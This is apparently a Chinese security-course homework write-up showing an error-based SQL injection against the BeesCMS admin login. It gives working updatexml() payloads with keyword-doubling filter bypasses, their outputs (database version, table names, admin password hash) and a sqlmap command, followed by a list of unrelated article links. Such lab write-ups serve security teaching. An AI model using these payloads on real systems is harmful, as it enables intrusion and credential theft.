BeesCMS的SQL注入漏洞
本文作者:arakh(MS08067实验室Web安全攻防知识星球学员)
根据星球布置作业,完成BeesCMS的SQL注入漏洞过程如下:
1. 扫描后台 获得后台登陆地址:
2. 登陆后台,发现存在SQL报错,而且同一个验证码可以重复提交 使用
3. 由于有报错信息,尝试使用联合查询或是报错注入
测试发现,sql语句过滤了 and select 等号 等符号。等号用like替 代, and 用 an and d 替代, select 用 seleselectct替代 , from 用 fro from m替代, where用wh where ere替代 因为注入的页面为登陆页面,即使union查询的语句语法正确了,也 无法获得回显,因此考虑使用报错注入
4. 报错注入 // 查询数据库版本:
user=admin' a and nd
updatexml(1,concat(0x7e,version(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~5.5.53~'
// 查询当前用户
user=admin' a and nd updatexml(1,concat(0x7e,user(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~root@localhost~'
// 查询当前数据库
user=admin' a and nd
updatexml(1,concat(0x7e,database(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~beescms~'
// 查询当前表名
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fr from om
information_schema.tables whe where re table_schema like
database()),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error:
'~bees_admin,bees_admin_group,bee'
发现输出字符串长度被限制了,使用截取字符串函数,测试发现每次 输出多为32个字符,所以需要不断变换截取字符的起始位置来获得 所有表的名称
user=admin' a and nd
updatexml(1,concat(0x7e,substr((selselectect
group_concat(table_name) fr from om
information_schema.tables whe where re table_schema like
database()),1,32),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
user=admin' a and nd
updatexml(1,concat(0x7e,substr((selselectect
group_concat(table_name) fr from om
information_schema.tables whe where re table_schema like
database()),32,64),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
// 查询bees_admin表中的列名
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(column_name) fr from om
information_schema.columns whe where re table_schema like
database() a and nd table_name like 'bees_admin'),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error:
'~id,admin_name,admin_password,ad'
同样存在字符串输出长度限制,需要使用substr()函数进行截取。
// 获取字段内容
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om
beescms.bees_admin),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~admin~'
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect
admin_password fr from om beescms.bees_admin wh where ere
admin_name like 'admin'),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~21232f297a57a5a743894a0e4a801fc'
user=admin' a and nd
updatexml(1,concat(0x7e,substr((selselectect admin_password fr
from om beescms.bees_admin wh where ere admin_name like
'admin'),24,64),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~e4a801fc3~'
拼凑后的md5值:21232f297a57a5a743894a0e4a801fc3
解密 后:admin
5. SQLMap C:UsersAdministratorDesktopsqlmap>sqlmap.py -r bees.log -p "user"
枚举表名的过程失败
- 系统捕获异常并发送到服务器
- 当调用GetAuthorizationGroups() 的错误-“试图访问卸载的应用程序域“(Exception from HRESULT: 0x80131014)解决方案
- WCF 4.0路由服务Routing Service
- ExpandableListView简单应用及listview模拟ExpandableListView
- 文件句柄与文件描述符
- android GifView分享
- VAE、GAN、Info-GAN:全解深度学习三大生成模型
- android获取设备唯一标示
- 如果正确读取SQL Server中的扩展事件?
- android自定义xmls文件属性
- 分布式系统中的RPC请求经常出现乱序的情况 写一个算法来将一个乱序的序列保序输出
- jsoup详解
- 用LogParser对IIS 日志进行分析
- android异步任务asyntask详解
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- KVM管理虚拟机
- fpga实现YCbCr444转RGB
- UML类图自动生成,太爽了
- Python爬虫之mongodb介绍和安装
- 一句话说清楚 CountDownLatch 和 CyclicBarrier 的区别
- Android 功耗(8)---如何找到阻止进入deep idle SODI的元凶
- 【技术创作101训练营】三种不同场景下 vue 组件动态加载的方法及实现
- leetcode链表之回文链表
- 如何理解 Go 中的反射
- Synchronized深入分析
- Spring的一些零碎知识点整理
- CentOS7上安装并配置KVM,以及通过KVM安装CentOS系统
- 建议收藏 哭着喊着 从C语言转向C++刷算法
- Spring的事务管理
- 面向切面的Spring